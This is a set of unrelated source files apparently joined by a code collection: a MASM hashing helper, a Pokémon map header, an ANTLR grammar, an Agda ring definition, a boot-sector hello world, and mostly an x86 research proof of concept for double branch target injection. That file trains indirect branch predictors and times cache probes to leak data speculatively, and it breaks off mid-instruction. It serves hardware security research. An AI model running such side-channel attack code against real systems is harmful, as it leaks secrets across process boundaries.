[esi+ 8] mov edx, dword ptr [esi+12] mov edi, dword ptr [esi+16] mov esi, ptrH2 xor eax, dword ptr [esi ] xor ebx, dword ptr [esi+ 4] xor ecx, dword ptr [esi+ 8] xor edx, dword ptr [esi+12] xor edi, dword ptr [esi+16] or eax, ebx or ecx, edx or eax, edi or eax, ecx popad ret compareHash endp printHash proc ptrHash:DWORD LOCAL _Temp : DWORD LOCAL _String[44] : BYTE pushad lea esi, _Temp lea edi, _String and dword ptr [esi], 0 push 20 push ptrHash push edi call ConvertHexToString mov dword ptr [edi+40], 0A0Dh invoke GetStdHandle, STD_OUTPUT_HANDLE mov ebx, eax push 0 push esi push (40+2) push edi push ebx call WriteConsoleA popad ret printHash endp printLine proc ptrString:DWORD LOCAL _Temp : DWORD LOCAL _EOL : DWORD pushad lea esi, _Temp lea edi, _EOL and dword ptr [esi], 0 mov dword ptr [edi], 0A0Dh invoke GetStdHandle, STD_OUTPUT_HANDLE mov ebx, eax invoke getstringlen, ptrString push 0 push esi push eax push ptrString push ebx call WriteConsoleA and dword ptr [esi], 0 push 0 push esi push 2 push edi push ebx call WriteConsoleA popad ret printLine endp ConvertHexToString proc ptrOut:DWORD, ptrIn:DWORD, lIn:DWORD pushad mov esi, ptrIn mov edi, ptrOut mov ecx, lIn cld @loop: lodsb mov ah, al and ax, 0FF0h shr al, 4 cmp al, 0Ah jb @F add al, 7 @@: add al, 30h stosb shr ax, 8 cmp al, 0Ah jb @F add al, 7 @@: add al, 30h stosb loop @loop xor al, al stosb popad ret ConvertHexToString endp end start
data/mapHeaders/VermilionDock.asm
AmateurPanda92/pokemon-rby-dx
9
4647
VermilionDock_h: db SHIP_PORT ; tileset db VERMILION_DOCK_HEIGHT, VERMILION_DOCK_WIDTH ; dimensions (y, x) dw VermilionDock_Blocks ; blocks dw VermilionDock_TextPointers ; texts dw VermilionDock_Script ; scripts db 0 ; connections dw VermilionDock_Object ; objects
lib/src/main/antlr/com/github/matanki_saito/rico/antlr/Pdx.g4
matanki-saito/pdx-txt-java
0
849
<filename>lib/src/main/antlr/com/github/matanki_saito/rico/antlr/Pdx.g4 grammar Pdx; @header { package com.github.matanki_saito.rico.antlr; } // lexer COMMENT: '#' ~('\n'|'\r')* ('\r\n' | '\r' | '\n' | EOF) -> skip; // "ABC" "" "\n" "ABC\nCBA" "cat and dog" WRAP_STRING: '"' CHAR* '"'; // space is ignored SPACE: (' '|'\t'|'\r'|'\n'|'\r\n') -> skip; // 5.00, 120, -1, 1e-5, 2e+500, NUMBER: '-'? INT FRAC? EXP?; DATE_TIME : INT DOT INT DOT INT; FALSE: 'false'; TRUE: 'true'; NULL : 'null'; YES : 'yes'; NO : 'no'; KEY_LEVEL_STRING: ( DOT | AT_MARK | ALPHABETS | EUROPEAN_LANG_CHARS | INT | Semicolon | HTPHEN | UNDERSCORE | Apostrophe | SINGLE_QUOTE)+; BRACHET_START: '{'; BRACHET_END: '}'; EQ: '='; LT: '<'; GT: '>'; LTE: '<='; GTE: '>='; Semicolon: ':'; Apostrophe: '’'; SINGLE_QUOTE: '\''; UNDERSCORE: '_'; HTPHEN: '-'; DOT: '.'; AT_MARK: '@'; ALPHABETS: [a-zA-Z]; EUROPEAN_LANG_CHARS: [\u{C0}-\u{FF}\u{153}\u{161}\u{178}\u{160}\u{152}\u{17D}\u{17E}]; // À-ÿœšŸŠŒŽž CHAR: ~[\u{22}\u{5C}\u{0}-\u{1F}] | '\\' [bfnrt]; EXP: [eE] ('-'|'+')? [0-9]+; FRAC: DOT [0-9]+; INT: '0' | ([1-9] [0-9]*); // parser primitive : FALSE | DATE_TIME | TRUE | NULL | YES | NO | NUMBER | KEY_LEVEL_STRING | WRAP_STRING; nameSeparator : LT | LTE | GT | GTE | EQ; value : element | array; // Key allows numbers // example) 1000.0 // Key allows datetime // example) 1024.20.1 // Key allows special characters // example) abc.1 // example) bbb-6-czAÿ.10a_1''5 key : (NUMBER|DATE_TIME|KEY_LEVEL_STRING); root : elements+=element*; element : keyValue | array | primitive; keyValue : key nameSeparator value; array : BRACHET_START elements+=element* BRACHET_END;
Rings/Irreducibles/Definition.agda
Smaug123/agdaproofs
4
12600
<reponame>Smaug123/agdaproofs<gh_stars>1-10 {-# OPTIONS --safe --warning=error --without-K #-} open import LogicalFormulae open import Setoids.Setoids open import Rings.Definition open import Rings.IntegralDomains.Definition open import Agda.Primitive using (Level; lzero; lsuc; _⊔_) module Rings.Irreducibles.Definition {a b : _} {A : Set a} {S : Setoid {a} {b} A} {_+_ _*_ : A → A → A} {R : Ring S _+_ _*_} (intDom : IntegralDomain R) where open Setoid S open Ring R open import Rings.Units.Definition R record Irreducible (r : A) : Set (a ⊔ b) where field nonzero : (r ∼ 0R) → False nonunit : (Unit r) → False irreducible : (x y : A) → (x * y) ∼ r → (Unit x → False) → Unit y
content/blog/code-os-0000/source.asm
anonimato404/himself65.github.io
0
247245
<gh_stars>0 bits 16 ; 16位编译 org 0x7c00 ; 从0x7c00是起始地址 boot: mov si, hello ; hello的地址传给si寄存器(Source Index Register) mov ah, 0x0e ; .loop: lodsb ; or al, al ; jz halt ; int 0x10 ; jmp .loop ; halt: cli ; hlt ; hello: db "Hello, world!", 0 times 510 - ($ - $$) db 0 dw 0xAA55 ; Magic Number
examples/x86/doubleBTI/dblbti_attacker.asm
JesseDeMeulemeester/speculator
42
171618
; Copyright 2021 IBM Corporation ; ; Licensed under the Apache License, Version 2.0 (the "License"); ; you may not use this file except in compliance with the License. ; You may obtain a copy of the License at ; ; http://www.apache.org/licenses/LICENSE-2.0 ; ; Unless required by applicable law or agreed to in writing, software ; distributed under the License is distributed on an "AS IS" BASIS, ; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. ; See the License for the specific language governing permissions and ; limitations under the License. [BITS 64] %include "common.inc" %include "pmc.inc" %include "signals.inc" %define BASE 0x10000000 %define TEST_SIZE 0xc section .data SIGACTION sigaction dev_file: db '/dev/cpu/',ATTACKER_PROCESS_STR,'/msr',0 iteration: dq 1 is_training: db 1 fd: dq 0 val: dq 0 len: equ $-val array: times 2048 db 0 addr: dq 0 align 1024 addr2: dq 0 align 1024 fillerteststart: resb (0x1 << 16) tester: times 4096* 256 dq 0 fillertestend: resb (0x1 << 16) align 1024 results: times 256 dd 0 ;##### DATA STARTS HERE ######## ;##### DATA ENDS HERE ######## section .text global perf_test_entry:function global snippet:function global gadget:function global secret:function global correct:function global indirect:function extern usleep extern set_write_code extern print_val ; FIRST BTI CALL TRAINED BY ATTACKER bti_call: call [addr] ret perf_test_entry: push rbp mov rbp, rsp sub rsp, 0 setup_signal_handler SIGTERM call set_write_code mov ecx, 256 loop_load_mem: push rcx mov ax, cx sub ax, 1 shl eax, 16 add rax, BASE mov rbx, rax call rax clflush [rbx] lfence pop rcx loop loop_load_mem mov ecx, 256 clean_array: xor rax, rax mov rax, 256 sub eax, ecx mov edx, 4096 mul edx add rax, tester clflush [rax] lfence loop clean_array check_pinning ATTACKER_PROCESS msr_open msr_seek mov QWORD[addr2], correct mov QWORD[iteration], 1 align 512 attacker: ; Train code for BTI .train: jmpnext256 jmpnext256 mov QWORD[addr], gadget clflush[addr2] lfence reset_counter start_counter .call: call bti_call stop_counter dec QWORD[iteration] cmp QWORD[iteration], 0 jl .exit jg .skip ; only at last iteration execute the final call mov rax, gadget mov BYTE[rax], 0x90 .skip: jmp .train .exit: xor rcx, rcx mov ecx, 256 .loop_test: push rcx ; save loop counter mov rax, 256 sub rax, rcx ; i = 256 - loop_counter mov dx, 167 mul dx add eax, 13;17 and eax, 255 mov r15d, eax ; mix index to be saved in r15 xor rax, rax mov ax, 4096 mul r15d add rax, tester mov r14, rax ; compute cell of array to be access rdtscp ; start_time mov r12, rdx shl r12, 32 or r12, rax ;call r14 mov r8, [r14] ; array access rdtscp ; end_time mov r13, rdx shl r13, 32 or r13, rax sub r13, r12 ; end_time - start_time mov eax, r15d mov bx, 4 mul bx add rax, results mov DWORD[rax], r13d ; store result pop rcx ; restore loop counter loop .loop_test mov rdi, results call print_val msr_close exit 0 align 1024 gadget: ret ;SECOND BTI CALL TRAINED BY VICTIM call [addr2] ret align 1024 verify: mov DWORD[array], eax mov DWORD[array+4], edx movq xmm0, QWORD[array] ret align 1024 correct: ret align 1024 signal_handler: ret signal_restorer: mov rax, SYS_RT_SIGRETURN syscall align 1024 filler: resb 0xFBFD400 ret align 1024 test0: mov rax, QWORD[tester+0*4096] ret lfence filler0: resb (0x1 << 16) - TEST_SIZE test1: mov rax, QWORD[tester+1*4096] ret lfence filler1: resb (0x1 << 16) - TEST_SIZE test2: mov rax, QWORD[tester+2*4096] ret lfence filler2: resb (0x1 << 16) - TEST_SIZE test3: mov rax, QWORD[tester+3*4096] ret lfence filler3: resb (0x1 << 16) - TEST_SIZE test4: mov rax, QWORD[tester+4*4096] ret lfence filler4: resb (0x1 << 16) - TEST_SIZE test5: mov rax, QWORD[tester+5*4096] ret lfence filler5: resb (0x1 << 16) - TEST_SIZE test6: mov rax, QWORD[tester+6*4096] ret lfence filler6: resb (0x1 << 16) - TEST_SIZE test7: mov rax, QWORD[tester+7*4096] ret lfence filler7: resb (0x1 << 16) - TEST_SIZE test8: mov rax, QWORD[tester+8*4096] ret lfence filler8: resb (0x1 << 16) - TEST_SIZE test9: mov rax, QWORD[tester+9*4096] ret lfence filler9: resb (0x1 << 16) - TEST_SIZE test10: mov rax, QWORD[tester+10*4096] ret lfence filler10: resb (0x1 << 16) - TEST_SIZE test11: mov rax, QWORD[tester+11*4096] ret lfence filler11: resb (0x1 << 16) - TEST_SIZE test12: mov rax, QWORD[tester+12*4096] ret lfence filler12: resb (0x1 << 16) - TEST_SIZE test13: mov rax, QWORD[tester+13*4096] ret lfence filler13: resb (0x1 << 16) - TEST_SIZE test14: mov rax, QWORD[tester+14*4096] ret lfence filler14: resb (0x1 << 16) - TEST_SIZE test15: mov rax, QWORD[tester+15*4096] ret lfence filler15: resb (0x1 << 16) - TEST_SIZE test16: mov rax, QWORD[tester+16*4096] ret lfence filler16: resb (0x1 << 16) - TEST_SIZE test17: mov rax, QWORD[tester+17*4096] ret lfence filler17: resb (0x1 << 16) - TEST_SIZE test18: mov rax, QWORD[tester+18*4096] ret lfence filler18: resb (0x1 << 16) - TEST_SIZE test19: mov rax, QWORD[tester+19*4096] ret lfence filler19: resb (0x1 << 16) - TEST_SIZE test20: mov rax, QWORD[tester+20*4096] ret lfence filler20: resb (0x1 << 16) - TEST_SIZE test21: mov rax, QWORD[tester+21*4096] ret lfence filler21: resb (0x1 << 16) - TEST_SIZE test22: mov rax, QWORD[tester+22*4096] ret lfence filler22: resb (0x1 << 16) - TEST_SIZE test23: mov rax, QWORD[tester+23*4096] ret lfence filler23: resb (0x1 << 16) - TEST_SIZE test24: mov rax, QWORD[tester+24*4096] ret lfence filler24: resb (0x1 << 16) - TEST_SIZE test25: mov rax, QWORD[tester+25*4096] ret lfence filler25: resb (0x1 << 16) - TEST_SIZE test26: mov rax, QWORD[tester+26*4096] ret lfence filler26: resb (0x1 << 16) - TEST_SIZE test27: mov rax, QWORD[tester+27*4096] ret lfence filler27: resb (0x1 << 16) - TEST_SIZE test28: mov rax, QWORD[tester+28*4096] ret lfence filler28: resb (0x1 << 16) - TEST_SIZE test29: mov rax, QWORD[tester+29*4096] ret lfence filler29: resb (0x1 << 16) - TEST_SIZE test30: mov rax, QWORD[tester+30*4096] ret lfence filler30: resb (0x1 << 16) - TEST_SIZE test31: mov rax, QWORD[tester+31*4096] ret lfence filler31: resb (0x1 << 16) - TEST_SIZE test32: mov rax, QWORD[tester+32*4096] ret lfence filler32: resb (0x1 << 16) - TEST_SIZE test33: mov rax, QWORD[tester+33*4096] ret lfence filler33: resb (0x1 << 16) - TEST_SIZE test34: mov rax, QWORD[tester+34*4096] ret lfence filler34: resb (0x1 << 16) - TEST_SIZE test35: mov rax, QWORD[tester+35*4096] ret lfence filler35: resb (0x1 << 16) - TEST_SIZE test36: mov rax, QWORD[tester+36*4096] ret lfence filler36: resb (0x1 << 16) - TEST_SIZE test37: mov rax, QWORD[tester+37*4096] ret lfence filler37: resb (0x1 << 16) - TEST_SIZE test38: mov rax, QWORD[tester+38*4096] ret lfence filler38: resb (0x1 << 16) - TEST_SIZE test39: mov rax, QWORD[tester+39*4096] ret lfence filler39: resb (0x1 << 16) - TEST_SIZE test40: mov rax, QWORD[tester+40*4096] ret lfence filler40: resb (0x1 << 16) - TEST_SIZE test41: mov rax, QWORD[tester+41*4096] ret lfence filler41: resb (0x1 << 16) - TEST_SIZE test42: mov rax, QWORD[tester+42*4096] ret lfence filler42: resb (0x1 << 16) - TEST_SIZE test43: mov rax, QWORD[tester+43*4096] ret lfence filler43: resb (0x1 << 16) - TEST_SIZE test44: mov rax, QWORD[tester+44*4096] ret lfence filler44: resb (0x1 << 16) - TEST_SIZE test45: mov rax, QWORD[tester+45*4096] ret lfence filler45: resb (0x1 << 16) - TEST_SIZE test46: mov rax, QWORD[tester+46*4096] ret lfence filler46: resb (0x1 << 16) - TEST_SIZE test47: mov rax, QWORD[tester+47*4096] ret lfence filler47: resb (0x1 << 16) - TEST_SIZE test48: mov rax, QWORD[tester+48*4096] ret lfence filler48: resb (0x1 << 16) - TEST_SIZE test49: mov rax, QWORD[tester+49*4096] ret lfence filler49: resb (0x1 << 16) - TEST_SIZE test50: mov rax, QWORD[tester+50*4096] ret lfence filler50: resb (0x1 << 16) - TEST_SIZE test51: mov rax, QWORD[tester+51*4096] ret lfence filler51: resb (0x1 << 16) - TEST_SIZE test52: mov rax, QWORD[tester+52*4096] ret lfence filler52: resb (0x1 << 16) - TEST_SIZE test53: mov rax, QWORD[tester+53*4096] ret lfence filler53: resb (0x1 << 16) - TEST_SIZE test54: mov rax, QWORD[tester+54*4096] ret lfence filler54: resb (0x1 << 16) - TEST_SIZE test55: mov rax, QWORD[tester+55*4096] ret lfence filler55: resb (0x1 << 16) - TEST_SIZE test56: mov rax, QWORD[tester+56*4096] ret lfence filler56: resb (0x1 << 16) - TEST_SIZE test57: mov rax, QWORD[tester+57*4096] ret lfence filler57: resb (0x1 << 16) - TEST_SIZE test58: mov rax, QWORD[tester+58*4096] ret lfence filler58: resb (0x1 << 16) - TEST_SIZE test59: mov rax, QWORD[tester+59*4096] ret lfence filler59: resb (0x1 << 16) - TEST_SIZE test60: mov rax, QWORD[tester+60*4096] ret lfence filler60: resb (0x1 << 16) - TEST_SIZE test61: mov rax, QWORD[tester+61*4096] ret lfence filler61: resb (0x1 << 16) - TEST_SIZE test62: mov rax, QWORD[tester+62*4096] ret lfence filler62: resb (0x1 << 16) - TEST_SIZE test63: mov rax, QWORD[tester+63*4096] ret lfence filler63: resb (0x1 << 16) - TEST_SIZE test64: mov rax, QWORD[tester+64*4096] ret lfence filler64: resb (0x1 << 16) - TEST_SIZE test65: mov rax, QWORD[tester+65*4096] ret lfence filler65: resb (0x1 << 16) - TEST_SIZE test66: mov rax, QWORD[tester+66*4096] ret lfence filler66: resb (0x1 << 16) - TEST_SIZE test67: mov rax, QWORD[tester+67*4096] ret lfence filler67: resb (0x1 << 16) - TEST_SIZE test68: mov rax, QWORD[tester+68*4096] ret lfence filler68: resb (0x1 << 16) - TEST_SIZE test69: mov rax, QWORD[tester+69*4096] ret lfence filler69: resb (0x1 << 16) - TEST_SIZE test70: mov rax, QWORD[tester+70*4096] ret lfence filler70: resb (0x1 << 16) - TEST_SIZE test71: mov rax, QWORD[tester+71*4096] ret lfence filler71: resb (0x1 << 16) - TEST_SIZE test72: mov rax, QWORD[tester+72*4096] ret lfence filler72: resb (0x1 << 16) - TEST_SIZE test73: mov rax, QWORD[tester+73*4096] ret lfence filler73: resb (0x1 << 16) - TEST_SIZE test74: mov rax, QWORD[tester+74*4096] ret lfence filler74: resb (0x1 << 16) - TEST_SIZE test75: mov rax, QWORD[tester+75*4096] ret lfence filler75: resb (0x1 << 16) - TEST_SIZE test76: mov rax, QWORD[tester+76*4096] ret lfence filler76: resb (0x1 << 16) - TEST_SIZE test77: mov rax, QWORD[tester+77*4096] ret lfence filler77: resb (0x1 << 16) - TEST_SIZE test78: mov rax, QWORD[tester+78*4096] ret lfence filler78: resb (0x1 << 16) - TEST_SIZE test79: mov rax, QWORD[tester+79*4096] ret lfence filler79: resb (0x1 << 16) - TEST_SIZE test80: mov rax, QWORD[tester+80*4096] ret lfence filler80: resb (0x1 << 16) - TEST_SIZE test81: mov rax, QWORD[tester+81*4096] ret lfence filler81: resb (0x1 << 16) - TEST_SIZE test82: mov rax, QWORD[tester+82*4096] ret lfence filler82: resb (0x1 << 16) - TEST_SIZE test83: mov rax, QWORD[tester+83*4096] ret lfence filler83: resb (0x1 << 16) - TEST_SIZE test84: mov rax, QWORD[tester+84*4096] ret lfence filler84: resb (0x1 << 16) - TEST_SIZE test85: mov rax, QWORD[tester+85*4096] ret lfence filler85: resb (0x1 << 16) - TEST_SIZE test86: mov rax, QWORD[tester+86*4096] ret lfence filler86: resb (0x1 << 16) - TEST_SIZE test87: mov rax, QWORD[tester+87*4096] ret lfence filler87: resb (0x1 << 16) - TEST_SIZE test88: mov rax, QWORD[tester+88*4096] ret lfence filler88: resb (0x1 << 16) - TEST_SIZE test89: mov rax, QWORD[tester+89*4096] ret lfence filler89: resb (0x1 << 16) - TEST_SIZE test90: mov rax, QWORD[tester+90*4096] ret lfence filler90: resb (0x1 << 16) - TEST_SIZE test91: mov rax, QWORD[tester+91*4096] ret lfence filler91: resb (0x1 << 16) - TEST_SIZE test92: mov rax, QWORD[tester+92*4096] ret lfence filler92: resb (0x1 << 16) - TEST_SIZE test93: mov rax, QWORD[tester+93*4096] ret lfence filler93: resb (0x1 << 16) - TEST_SIZE test94: mov rax, QWORD[tester+94*4096] ret lfence filler94: resb (0x1 << 16) - TEST_SIZE test95: mov rax, QWORD[tester+95*4096] ret lfence filler95: resb (0x1 << 16) - TEST_SIZE test96: mov rax, QWORD[tester+96*4096] ret lfence filler96: resb (0x1 << 16) - TEST_SIZE test97: mov rax, QWORD[tester+97*4096] ret lfence filler97: resb (0x1 << 16) - TEST_SIZE test98: mov rax, QWORD[tester+98*4096] ret lfence filler98: resb (0x1 << 16) - TEST_SIZE test99: mov rax, QWORD[tester+99*4096] ret lfence filler99: resb (0x1 << 16) - TEST_SIZE test100: mov rax, QWORD[tester+100*4096] ret lfence filler100: resb (0x1 << 16) - TEST_SIZE test101: mov rax, QWORD[tester+101*4096] ret lfence filler101: resb (0x1 << 16) - TEST_SIZE test102: mov rax, QWORD[tester+102*4096] ret lfence filler102: resb (0x1 << 16) - TEST_SIZE test103: mov rax, QWORD[tester+103*4096] ret lfence filler103: resb (0x1 << 16) - TEST_SIZE test104: mov rax, QWORD[tester+104*4096] ret lfence filler104: resb (0x1 << 16) - TEST_SIZE test105: mov rax, QWORD[tester+105*4096] ret lfence filler105: resb (0x1 << 16) - TEST_SIZE test106: mov rax, QWORD[tester+106*4096] ret lfence filler106: resb (0x1 << 16) - TEST_SIZE test107: mov rax, QWORD[tester+107*4096] ret lfence filler107: resb (0x1 << 16) - TEST_SIZE test108: mov rax, QWORD[tester+108*4096] ret lfence filler108: resb (0x1 << 16) - TEST_SIZE test109: mov rax, QWORD[tester+109*4096] ret lfence filler109: resb (0x1 << 16) - TEST_SIZE test110: mov rax, QWORD[tester+110*4096] ret lfence filler110: resb (0x1 << 16) - TEST_SIZE test111: mov rax, QWORD[tester+111*4096] ret lfence filler111: resb (0x1 << 16) - TEST_SIZE test112: mov rax, QWORD[tester+112*4096] ret lfence filler112: resb (0x1 << 16) - TEST_SIZE test113: mov rax, QWORD[tester+113*4096] ret lfence filler113: resb (0x1 << 16) - TEST_SIZE test114: mov rax, QWORD[tester+114*4096] ret lfence filler114: resb (0x1 << 16) - TEST_SIZE test115: mov rax, QWORD[tester+115*4096] ret lfence filler115: resb (0x1 << 16) - TEST_SIZE test116: mov rax, QWORD[tester+116*4096] ret lfence filler116: resb (0x1 << 16) - TEST_SIZE test117: mov rax, QWORD[tester+117*4096] ret lfence filler117: resb (0x1 << 16) - TEST_SIZE test118: mov rax, QWORD[tester+118*4096] ret lfence filler118: resb (0x1 << 16) - TEST_SIZE test119: mov rax, QWORD[tester+119*4096] ret lfence filler119: resb (0x1 << 16) - TEST_SIZE test120: mov rax, QWORD[tester+120*4096] ret lfence filler120: resb (0x1 << 16) - TEST_SIZE test121: mov rax, QWORD[tester+121*4096] ret lfence filler121: resb (0x1 << 16) - TEST_SIZE test122: mov rax, QWORD[tester+122*4096] ret lfence filler122: resb (0x1 << 16) - TEST_SIZE test123: mov rax, QWORD[tester+123*4096] ret lfence filler123: resb (0x1 << 16) - TEST_SIZE test124: mov rax, QWORD[tester+124*4096] ret lfence filler124: resb (0x1 << 16) - TEST_SIZE test125: mov rax, QWORD[tester+125*4096] ret lfence filler125: resb (0x1 << 16) - TEST_SIZE test126: mov rax, QWORD[tester+126*4096] ret lfence filler126: resb (0x1 << 16) - TEST_SIZE test127: mov rax, QWORD[tester+127*4096] ret lfence filler127: resb (0x1 << 16) - TEST_SIZE test128: mov rax, QWORD[tester+128*4096] ret lfence filler128: resb (0x1 << 16) - TEST_SIZE test129: mov rax, QWORD[tester+129*4096] ret lfence filler129: resb (0x1 << 16) - TEST_SIZE test130: mov rax, QWORD[tester+130*4096] ret lfence filler130: resb (0x1 << 16) - TEST_SIZE test131: mov rax, QWORD[tester+131*4096] ret lfence filler131: resb (0x1 << 16) - TEST_SIZE test132: mov rax, QWORD[tester+132*4096] ret lfence filler132: resb (0x1 << 16) - TEST_SIZE test133: mov rax, QWORD[tester+133*4096] ret lfence filler133: resb (0x1 << 16) - TEST_SIZE test134: mov rax, QWORD[tester+134*4096] ret lfence filler134: resb (0x1 << 16) - TEST_SIZE test135: mov rax, QWORD[tester+135*4096] ret lfence filler135: resb (0x1 << 16) - TEST_SIZE test136: mov rax, QWORD[tester+136*4096] ret lfence filler136: resb (0x1 << 16) - TEST_SIZE test137: mov rax, QWORD[tester+137*4096] ret lfence filler137: resb (0x1 << 16) - TEST_SIZE test138: mov rax, QWORD[tester+138*4096] ret lfence filler138: resb (0x1 << 16) - TEST_SIZE test139: mov rax, QWORD[tester+139*4096] ret lfence filler139: resb (0x1 << 16) - TEST_SIZE test140: mov rax, QWORD[tester+140*4096] ret lfence filler140: resb (0x1 << 16) - TEST_SIZE test141: mov rax, QWORD[tester+141*4096] ret lfence filler141: resb (0x1 << 16) - TEST_SIZE test142: mov rax, QWORD[tester+142*4096] ret lfence filler142: resb (0x1 << 16) - TEST_SIZE test143: mov rax, QWORD[tester+143*4096] ret lfence filler143: resb (0x1 << 16) - TEST_SIZE test144: mov rax, QWORD[tester+144*4096] ret lfence filler144: resb (0x1 << 16) - TEST_SIZE test145: mov rax, QWORD[tester+145*4096] ret lfence filler145: resb (0x1 << 16) - TEST_SIZE test146: mov rax, QWORD[tester+146*4096] ret lfence filler146: resb (0x1 << 16) - TEST_SIZE test147: mov rax, QWORD[tester+147*4096] ret lfence filler147: resb (0x1 << 16) - TEST_SIZE test148: mov rax, QWORD[tester+148*4096] ret lfence filler148: resb (0x1 << 16) - TEST_SIZE test149: mov rax, QWORD[tester+149*4096] ret lfence filler149: resb (0x1 << 16) - TEST_SIZE test150: mov rax, QWORD[tester+150*4096] ret lfence filler150: resb (0x1 << 16) - TEST_SIZE test151: mov rax, QWORD[tester+151*4096] ret lfence filler151: resb (0x1 << 16) - TEST_SIZE test152: mov rax, QWORD[tester+152*4096] ret lfence filler152: resb (0x1 << 16) - TEST_SIZE test153: mov rax, QWORD[tester+153*4096] ret lfence filler153: resb (0x1 << 16) - TEST_SIZE test154: mov rax, QWORD[tester+154*4096] ret lfence filler154: resb (0x1 << 16) - TEST_SIZE test155: mov rax, QWORD[tester+155*4096] ret lfence filler155: resb (0x1 << 16) - TEST_SIZE test156: mov rax, QWORD[tester+156*4096] ret lfence filler156: resb (0x1 << 16) - TEST_SIZE test157: mov rax, QWORD[tester+157*4096] ret lfence filler157: resb (0x1 << 16) - TEST_SIZE test158: mov rax, QWORD[tester+158*4096] ret lfence filler158: resb (0x1 << 16) - TEST_SIZE test159: mov rax, QWORD[tester+159*4096] ret lfence filler159: resb (0x1 << 16) - TEST_SIZE test160: mov rax, QWORD[tester+160*4096] ret lfence filler160: resb (0x1 << 16) - TEST_SIZE test161: mov rax, QWORD[tester+161*4096] ret lfence filler161: resb (0x1 << 16) - TEST_SIZE test162: mov rax, QWORD[tester+162*4096] ret lfence filler162: resb (0x1 << 16) - TEST_SIZE test163: mov rax, QWORD[tester+163*4096] ret lfence filler163: resb (0x1 << 16) - TEST_SIZE test164: mov rax, QWORD[tester+164*4096] ret lfence filler164: resb (0x1 << 16) - TEST_SIZE test165: mov rax, QWORD[tester+165*4096] ret lfence filler165: resb (0x1 << 16) - TEST_SIZE test166: mov rax, QWORD[tester+166*4096] ret lfence filler166: resb (0x1 << 16) - TEST_SIZE test167: mov rax, QWORD[tester+167*4096] ret lfence filler167: resb (0x1 << 16) - TEST_SIZE test168: mov rax, QWORD[tester+168*4096] ret lfence filler168: resb (0x1 << 16) - TEST_SIZE test169: mov rax, QWORD[tester+169*4096] ret lfence filler169: resb (0x1 << 16) - TEST_SIZE test170: mov rax, QWORD[tester+170*4096] ret lfence filler170: resb (0x1 << 16) - TEST_SIZE test171: mov rax, QWORD[tester+171*4096] ret lfence filler171: resb (0x1 << 16) - TEST_SIZE test172: mov rax, QWORD[tester+172*4096] ret lfence filler172: resb (0x1 << 16) - TEST_SIZE test173: mov rax, QWORD[tester+173*4096] ret lfence filler173: resb (0x1 << 16) - TEST_SIZE test174: mov rax, QWORD[tester+174*4096] ret lfence filler174: resb (0x1 << 16) - TEST_SIZE test175: mov rax, QWORD[tester+175*4096] ret lfence filler175: resb (0x1 << 16) - TEST_SIZE test176: mov rax, QWORD[tester+176*4096] ret lfence filler176: resb (0x1 << 16) - TEST_SIZE test177: mov rax, QWORD[tester+177*4096] ret lfence filler177: resb (0x1 << 16) - TEST_SIZE test178: mov rax, QWORD[tester+178*4096] ret lfence filler178: resb (0x1 << 16) - TEST_SIZE test179: mov rax, QWORD[tester+179*4096] ret lfence filler179: resb (0x1 << 16) - TEST_SIZE test180: mov rax, QWORD[tester+180*4096] ret lfence filler180: resb (0x1 << 16) - TEST_SIZE test181: mov rax, QWORD[tester+181*4096] ret lfence filler181: resb (0x1 << 16) - TEST_SIZE test182: mov rax, QWORD[tester+182*4096] ret lfence filler182: resb (0x1 << 16) - TEST_SIZE test183: mov rax, QWORD[tester+183*4096] ret lfence filler183: resb (0x1 << 16) - TEST_SIZE test184: mov rax, QWORD[tester+184*4096] ret lfence filler184: resb (0x1 << 16) - TEST_SIZE test185: mov rax, QWORD[tester+185*4096] ret lfence filler185: resb (0x1 << 16) - TEST_SIZE test186: mov rax, QWORD[tester+186*4096] ret lfence filler186: resb (0x1 << 16) - TEST_SIZE test187: mov rax, QWORD[tester+187*4096] ret lfence filler187: resb (0x1 << 16) - TEST_SIZE test188: mov rax, QWORD[tester+188*4096] ret lfence filler188: resb (0x1 << 16) - TEST_SIZE test189: mov rax, QWORD[tester+189*4096] ret lfence filler189: resb (0x1 << 16) - TEST_SIZE test190: mov rax, QWORD[tester+190*4096] ret lfence filler190: resb (0x1 << 16) - TEST_SIZE test191: mov rax, QWORD[tester+191*4096] ret lfence filler191: resb (0x1 << 16) - TEST_SIZE test192: mov rax, QWORD[tester+192*4096] ret lfence filler192: resb (0x1 << 16) - TEST_SIZE test193: mov rax, QWORD[tester+193*4096] ret lfence filler193: resb (0x1 << 16) - TEST_SIZE test194: mov rax, QWORD[tester+194*4096] ret lfence filler194: resb (0x1 << 16) - TEST_SIZE test195: mov rax, QWORD[tester+195*4096] ret lfence filler195: resb (0x1 << 16) - TEST_SIZE test196: mov rax, QWORD[tester+196*4096] ret lfence filler196: resb (0x1 << 16) - TEST_SIZE test197: mov rax, QWORD[tester+197*4096] ret lfence filler197: resb (0x1 << 16) - TEST_SIZE test198: mov rax, QWORD[tester+198*4096] ret lfence filler198: resb (0x1 << 16) - TEST_SIZE test199: mov rax, QWORD[tester+199*4096] ret lfence filler199: resb (0x1 << 16) - TEST_SIZE test200: mov rax, QWORD[tester+200*4096] ret lfence filler200: resb (0x1 << 16) - TEST_SIZE test201: mov rax, QWORD[tester+201*4096] ret lfence filler201: resb (0x1 << 16) - TEST_SIZE test202: mov rax, QWORD[tester+202*4096] ret lfence filler202: resb (0x1 << 16) - TEST_SIZE test203: mov rax, QWORD[tester+203*4096] ret lfence filler203: resb (0x1 << 16) - TEST_SIZE test204: mov rax, QWORD[tester+204*4096] ret lfence filler204: resb (0x1 << 16) - TEST_SIZE test205: mov rax, QWORD[tester+205*4096] ret lfence filler205: resb (0x1 << 16) - TEST_SIZE test206: mov rax, QWORD[tester+206*4096] ret lfence filler206: resb (0x1 << 16) - TEST_SIZE test207: mov rax, QWORD[tester+207*4096] ret lfence filler207: resb (0x1 << 16) - TEST_SIZE test208: mov rax, QWORD[tester+208*4096] ret lfence filler208: resb (0x1 << 16) - TEST_SIZE test209: mov rax, QWORD[tester+209*4096] ret lfence filler209: resb (0x1 << 16) - TEST_SIZE test210: mov rax, QWORD[tester+210*4096] ret lfence filler210: resb (0x1 << 16) - TEST_SIZE test211: mov rax, QWORD[tester+211*4096] ret lfence filler211: resb (0x1 << 16) - TEST_SIZE test212: mov rax, QWORD[tester+212*4096] ret lfence filler212: resb (0x1 << 16) - TEST_SIZE test213: mov rax, QWORD[tester+213*4096] ret lfence filler213: resb (0x1 << 16) - TEST_SIZE test214: mov rax, QWORD[tester+214*4096] ret lfence filler214: resb (0x1 << 16) - TEST_SIZE test215: mov 